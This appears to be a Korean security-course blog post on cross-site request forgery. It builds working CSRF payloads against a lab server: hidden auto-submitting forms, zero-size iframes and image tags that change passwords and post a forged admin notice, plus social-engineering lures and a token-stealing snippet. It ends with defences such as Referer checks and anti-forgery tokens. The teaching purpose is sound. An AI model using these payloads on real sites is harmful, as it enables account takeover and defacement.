CSRF(cross site request forgery), 공격, 실습, 보안

2025. 7. 2. 10:33·Hacking

CSRF(cross site request forgery)


해커가 악의적인 요청문을 작성하여 해당 요청문을 정상적인 클라이언트가 요청하게 만드는 공격
해커가 서버에게 전달하는 일반적인 요청문(입력값 입력 후 서버에게 요청하는 요청 데이터)을 분석하여 해당 요청문 안에 해커가 원하는 데이터를 입력 후 권한이 있는 클라이언트가 요청하게 만드는 공격

공격 대상

xss 방식


XSS -> 클라이언트
클라이언트에서 악의적인 코드가 실행되게 하는 공격
CSRF -> 서버
서버에서 악의적인 코드나 데이터를 서버에서 저장, 변경 등 처리하게 만드는 공격


비밀번호 변경
사용자 -> 회원정보 변경 페이지를 요청 -> 서버에서 페이지를 응답 -> 입력값(비밀번호)을 전달 -> 해당 입력값을 처리(성공, 실패) -> 결과 페이지 응답

hacker -> 회원정보 변경 페이지를 요청 -> 서버에서 페이지를 응답 -> 입력값(비밀번호)을 전달 -> 해당 입력값을 처리(성공, 실패) -> 결과 페이지 응답(성공) -> 결과적으로 누구의 비밀번호가 바뀌는가? -> hacker의 비번이 변경

client -> 회원정보 변경 페이지를 요청 -> 서버에서 페이지를 응답 -> 입력값(비밀번호)을 전달 -> 해당 입력값을 처리(성공, 실패) -> 결과 페이지 응답(성공) -> 결과적으로 누구의 비밀번호가 바뀌는가? -> client의 비번이 변경

hacker가 관리자의 비번을 변경하고 싶다.
hacker -> 변경 요청 -> hacker의 비번이 변경
관리자 -> 변경 요청 -> 관리자의 비번이 변경
권한의 문제 -> 비번은 자기 자신의 비번만 변경할 수 있도록 권한이 제한

hacker -> 관리자(권한이 있는 사용자) -> 변경 요청 -> 관리자의 비번을 변경(hacker가 원하는 비번으로)

해커가 서버의 특정 정보를 변경, 처리하게 만들고 싶어도 권한이 없음 -> 특정 정보를 변경, 처리할 수 있는 권한을 가진 사용자를 탐색 -> 해당 사용자로 하여금 hacker가 원하는 정보로 변경, 처리하게 만들도록 요청을 진행 -> 결과적으로 권한이 있는 사용자를 이용하여 hacker가 원하는 결과를 만들게 만드는 방법

hacker는 원하는 목적에 대한 권한이 없기 때문에 권한이 있는 사용자를 이용하는 공격



CSRF 특징


1. script를 작성할 필요가 없다.
해커가 원하는 요청문을 클라이언트가 요청하게 만드는 게 핵심이지, javascript를 사용하게 만드는게 핵심은 아니다. 클라이언트를 이용하기 위해 javascript를 사용해도 되지만, 무조건 사용해야 하는 것은 아니다.
2. 공격자의 위치나 존재를 찾기 어렵다.
서버 입장에서는 권한이 있는 사용자가 악의적인 요청문을 요청하는 형태의 공격이기 때문에, 해당 사용자 너머의 hacker를 찾기 어렵다.
3. 서버가 제공하는 거의 대부분의 기능을 공격으로 사용 가능하다.
서버에서 제공하는 정상적인 기능을 권한이 있는 사용자로 하여금 이용하게 만드는 공격 -> 겉으로 보기에는 아무런 문제는 정상적인 요청으로 보인다. 정상적으로 기능을 사용하는 것으로 보임.
해당 공격이 가능한 이유는 서버에서 해당 기능을 제공하기 때문에 공격에 이용되는 것



CSRF vs XSS


CSRF -> 공격대상 : 서버
script를 사용할 필요가 없다.(사용하면 더 좋다)
서버에서 제공하는 기능을 분석  -> 악의적인 요청문 -> 클라이언트에게 실행


XSS -> 공격 대상 : 클라이언트
script를 사용해야 한다.
XSS injection vector가 있어야 공격이 가능

요청문 분석
닉네임 변경 요청문 분석
member_nick_change.php 전달
요청 방식 : GET
요청값 개수 : 1개
요청하는 데이터 이름 : nick
요청 주소 http://192.168.50.50/member/member_nick_change.php

요청문
http://192.168.50.50/member/member_nick_change.php?nick=입력값
http://192.168.50.50/member/member_nick_change.php?nick=바보(CSRF 공격코드)

주소를 실행하게 만드는 것(페이지 요청)
1. 링크 생성 후 권한이 있는 사용자에게 전달(메일, 쪽지, 메신저 등 링크 전달 가능한 모든 방법)

이벤트 당첨


사용자가 클릭만 한다면 공격 성공
2. 요청을 자동으로 하게 만드는 방법

<script>location.replace("http://192.168.50.50/member/member_nick_change.php?nick=바보");</script>


원하는 페이지에 저장하여 해당 페이지 요청 시 자동 실행하게 만드는 방법 -> XSS 랑 같이 공격
결국 닉네임 변경 페이지로 이동하는 결과를 출력

주소에 있는 자원을 요청하는 태그를 이용하여 공격 및 결과 출력을 화면에 하지 않도록 설정(자동실행)

<script src="http://192.168.50.50/member/member_nick_change.php?nick=멍청이" width="0" height="0"></script>
<img src="http://192.168.50.50/member/member_nick_change.php?nick=멍청이2" width="0" height="0"></img>
<iframe src="http://192.168.50.50/member/member_nick_change.php?nick=멍청이3" width="0" height="0"></iframe>


주소 자체가 공격 요청문이기 때문에 해당 주소로 자원을 요청하도록 태그를 사용하면 공격이 가능
페이지 요청을 발생하는 모든 태그로 활용이 가능

CSRF
1. 조작된 데이터가 들어간 정상적인 요청문 생성
2. 클라이언트가 실행하게 만듬

회원정보 요청문 분석
요청 페이지
member_info_change.php
요청 방식
post
요청하는 값 개수
5개
요청하는 값 종류
user_pw1
user_pw2
age
nick
email

form 태그를 요청문 -> 구현 성공

<form action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="password" name="user_pw1">
<input type="password" name="user_pw2">
<input type="number" name="age">
<input type="text" name="nick">
<input type="text" name="email">
<input type="submit">
</form>



문제 -> 요청문 구현은 성공 했으나, 조작된 데이터나 입력값을 정상적인 사용자가 입력하지 않는다.
해결 -> 입력값을 미리 입력해놓음

<form action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="password" name="user_pw1" value="123456">
<input type="password" name="user_pw2" value="123456">
<input type="number" name="age" value="30">
<input type="text" name="nick" value="해커"> 
<input type="text" name="email" value="hacker11@kh.com">
<input type="submit">
</form>



문제 -> 조작된 데이터가 들어간 요청문 작성 성공 했으나, 요청문의 노출이 심하다.
해결 -> 노출 막기(입력값 노출 막기) -> 화면에 입력값이 노출되지 않도록 설정

<form action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="30">
<input type="hidden" name="nick" value="해커"> 
<input type="hidden" name="email" value="hacker11@kh.com">
<input type="submit">
</form>



문제 -> submit 버튼을 클릭 하도록 유도
해결 -> 사회공학 기법을 이용한 클릭 유도(낚시성 글을 작성, 정보수집을 통한 타겟의 성향이나 신념, 성격 등을 분석하여 클릭을 하도록 유도)

CSRF 사회공학적 기법

<form action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="30">
<input type="hidden" name="nick" value="해커"> 
<input type="hidden" name="email" value="hacker11@kh.com">
<input type="submit" value="이벤트페이지">
</form>



자동으로 요청이 되도록 공격(javascript를 이용한 방법)
zero click attack

<form id="hack" action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="30">
<input type="hidden" name="nick" value="해커"> 
<input type="hidden" name="email" value="hacker11@kh.com">
</form>
<script>document.getElementById("hack").submit()</script>



문제 -> 게시글을 클릭하는 경우 요청문의 결과 페이지가 출력(게시글이 아닌 회원정보 변경 페이지 출력)
해결 -> iframe 태그를 이용하여 결과 페이지를 게시글 안에 출력

<iframe name="hello"></iframe>
<form target="hello" id="hack" action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="30">
<input type="hidden" name="nick" value="해커"> 
<input type="hidden" name="email" value="hacker11@kh.com">
</form>
<script>document.getElementById("hack").submit()</script>



문제 -> 게시글 안에 결과 페이지 출력은 가능하나 노출되는 것이 문제
해결 -> iframe 출력 사이즈를 0으로 하여 숨김

<iframe name="hello" width="0" height="0"></iframe>
<form target="hello" id="hack" action="http://192.168.50.50/member/member_info_change.php" method="post">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="30">
<input type="hidden" name="nick" value="해커"> 
<input type="hidden" name="email" value="hacker11@kh.com">
</form>
<script>document.getElementById("hack").submit()</script>

CSRF 실습

 

요청문 분석
요청 페이지
board_write_ok.php
요청 방식
post
요청 입력 값 개수
7개
요청 입력 값 종류
name
pw
email
sub
tag
cont
att_file


공격 목표
게시글 자동 생성
관리자가 글을 읽을 때 CSRF 공격을 수행되어 관리자의 권한으로 다음과 같은 게시글이 올라가도록 공격 수행
제목 : [필독] 공지사항
내용 : 우리 사이트가 서비스 종료되었음을 알리며, 모두 탈퇴해주시길 바랍니다. 감사합니다.

 

<form action="http://192.168.50.50/board/board_write_ok.php" method="post">
<input type="text" name="name">
<input type="password" name="pw">
<input type="text" name="email">
<input type="text" name="sub">
<input type="text" name="tag">
<input type="text" name="cont">
<input type="file" name="att_file">
<input type="submit">
</form>

<form action="http://192.168.50.50/board/board_write_ok.php" method="post">
<input type="text" name="name" value="hacker">
<input type="password" name="pw" value="1234">
<input type="text" name="email" value="hack@kh.com">
<input type="text" name="sub" value="test">
<input type="text" name="tag" value="T">
<input type="text" name="cont" value="testtest">
<input type="file" name="att_file">
<input type="submit">
</form>

<form action="http://192.168.50.50/board/board_write_ok.php" method="post">
<input type="hidden" name="name" value="hacker">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="hack@kh.com">
<input type="hidden" name="sub" value="test">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="cont" value="testtest">
<input type="hidden" name="att_file">
<input type="submit">
</form>

<form action="http://192.168.50.50/board/board_write_ok.php" method="post">
<input type="hidden" name="name" value="관리자">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="cont" value="우리 사이트가 서비스 종료되었음을 알리며, 모두 탈퇴해 주시길 바랍니다. 감사합니다.">
<input type="hidden" name="att_file">
<input type="submit" value="문의사항">
</form>

<iframe name="i" width="0" height="0" sandbox></iframe>
<form name="hform" target="i" action="http://192.168.50.50/board/board_write_ok.php" method="post">
<input type="hidden" name="name" value="관리자">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="cont" value="우리 사이트가 서비스 종료되었음을 알리며, 모두 탈퇴해 주시길 바랍니다. 감사합니다.">
<input type="hidden" name="att_file">
</form>
<script>document.hform.submit();</script>




1. textarea 태그 대신 input text type 사용 가능
2. input radio type 대신 input text type 사용 가능
3. file type 도 hidden 가능 하다.
4. DOM을 사용시 id든 name이든 식별만 가능하면 사용 가능하다.
5. iframe 내부에서 출력되는 경고창을 없애고 싶으면 sandbox 옵션 사용

mysql에서 mariadb로 변경되면서 DB에서 int형에 ''을 넣을수 없게 되었음
그래서 공격시 att_file을 넣지 않고 공격을 하면, $f_error == 0으로 처리 되고 $f_size값에 ''이 들어감
-> 글이 등록이 안된다.

<iframe name="i" width="0" height="0" sandbox></iframe>
<form name="hform" target="i" action="http://192.168.50.50/board/board_write_ok.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="name" value="관리자">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="cont" value="우리 사이트가 서비스 종료되었음을 알리며, 모두 탈퇴해 주시길 바랍니다. 감사합니다.">
<input type="file" name="att_file" style="display:none;">
</form>
<script>document.hform.submit();</script>





CSRF 보안


1. 요청문 입력시 추가 인증
공지사항을 입력한다거나, 관리자의 정보를 변경하는 경우에만 추가인증
현재 로그인한 사용자가 관리자면
추가인증 페이지로 이동하도록 설정

2. 정상 요청이랑 공격시 요청이랑 다른점?
요청을 보내는 위치가 다르다.
정상 요청 -> info.php -> info_change.php
공격 요청 -> view.php -> info_change.php
어디서 요청이 들어오는지 확인 가능하면 필터링 가능

요청의 위치를 확인하는 방법
http header의 referer 값
용도는 운영의 관점에서 어느 페이지에서 특정 요청을 많이 발생시키는가? 확인하는 목적

요청의 출처를 확인하는 값
HTTP_REFERER
현재 요청이 발생한 페이지의 URL
- 링크를 클릭하거나 , 폼을 제출, 주소창의 직접 입력 시 referer 발생
- 요청의 출처를 검증하기 위해
- 어느 페이지 혹은 어느 사이트에 유입되었는지 확인

hacker가 클라이언트와 서버 사이에 mitm 공격을 이용하여 referer 값을 정상 주소로 변조하면 우회 가능


3. 서버에 데이터 저장 시 필터링
form태그, input 태그, hidden 타입 필터링

strip_tags() 함수 사용하여 특정 태그만 허용하고 나머지 태그는 사용하지 못하도록 필터링
preg_match, preg_replace, str_replace, str_ireplace 필터링 코드 사용
htmlspecialchars() 함수 사용으로 태그 자체를 인코딩으로 사용하지 못하게 설정

4. 요청문 입력시 특정 데이터를 입력하도록 설정
정상적인 요청일때는 특정 데이터가 같이 요청되고
공격 요청일때는 특정 데이터가 없이 요청이 된다.
특정 데이터의 유무로 판단


회원정보 변경
정상적인 요청
client -> login -> info.php요청 -> info.php 응답 -> info_change.php 요청시 특정 데이터가 있음
공격 요청
client -> login -> view.php 요청 -> view.php 응답 -> info_change.php 요청시 특정 데이터가 없음

서버가 클라이언트에게 정상적인 요청 페이지를 원하는 경우 발급하는 데이터를 anti forgery token이라 함
요청이 발생하는 페이지에서 token을 발급
처리가 발생하는 페이지에서 token을 검증

정상적인 요청인 경우
요청이 발생하는 페이지 -> info.php -> token 발급(랜덤 값)
처리가 발생하는 페이지 -> info_change.php -> token 검증(랜덤 값)

anti forgery token이란?
사용자가 서버에게 요청하는 경우 정상적인 요청인지, 비정상적인 요청인지 구분하기 위한 특별한 값
정상적인 요청과정에서는 token을 발급 받아, 요청시 token을 제출하여 검증 완료한다.
비정상적인 요청과정에서는 token을 발급받지 못하기 때문에 요청시 token을 제출하지 못하고 검증 실패한다.

기능 구현
1. 랜덤한 토큰 값 생성 -> random.php -> info.php
2. 생성한 토큰 값 발급 -> info.php
3. 발급받은 토큰 값과 발급한 토큰 값의 검증 -> info_change.php

<iframe src=../member/member_info.php" id="hello"></iframe>
<script>
const value = document.getElementById("hello").contentWindow.document.querySelector('input[name="token"]').value;
alert(value);
</script>
저작자표시 비영리 변경금지 (새창열림)

'Hacking' 카테고리의 다른 글

SQL injection 실습(query result sql injection)  (0) 2025.07.02
SQL injection 이론, query result sql injection (board_view GET방식 파라미터 값을 select- injection vector)  (0) 2025.07.02
SQL injection 기초  (0) 2025.07.02
CSRF 의미, 공격 방법, 보안 방법  (0) 2025.07.01
anti forgery token 만들기  (1) 2025.07.01
'Hacking' 카테고리의 다른 글
  • SQL injection 실습(query result sql injection)
  • SQL injection 이론, query result sql injection (board_view GET방식 파라미터 값을 select- injection vector)
  • SQL injection 기초
  • CSRF 의미, 공격 방법, 보안 방법
햅삐root
햅삐root
happyroot 님의 블로그 입니다. IT 보안 정리💛
  • 햅삐root
    햅삐한 root
    햅삐root
  • 전체
    오늘
    어제
    • 전체보기 IT (123)
      • Linux (21)
      • Network (23)
      • packet tracer& GNS3 (10)
      • Cryptology (7)
      • WEB (16)
      • DB (16)
      • Hacking (28)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Hack
    injectionvector
    sqlinjection
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.4
햅삐root
CSRF(cross site request forgery), 공격, 실습, 보안
상단으로

티스토리툴바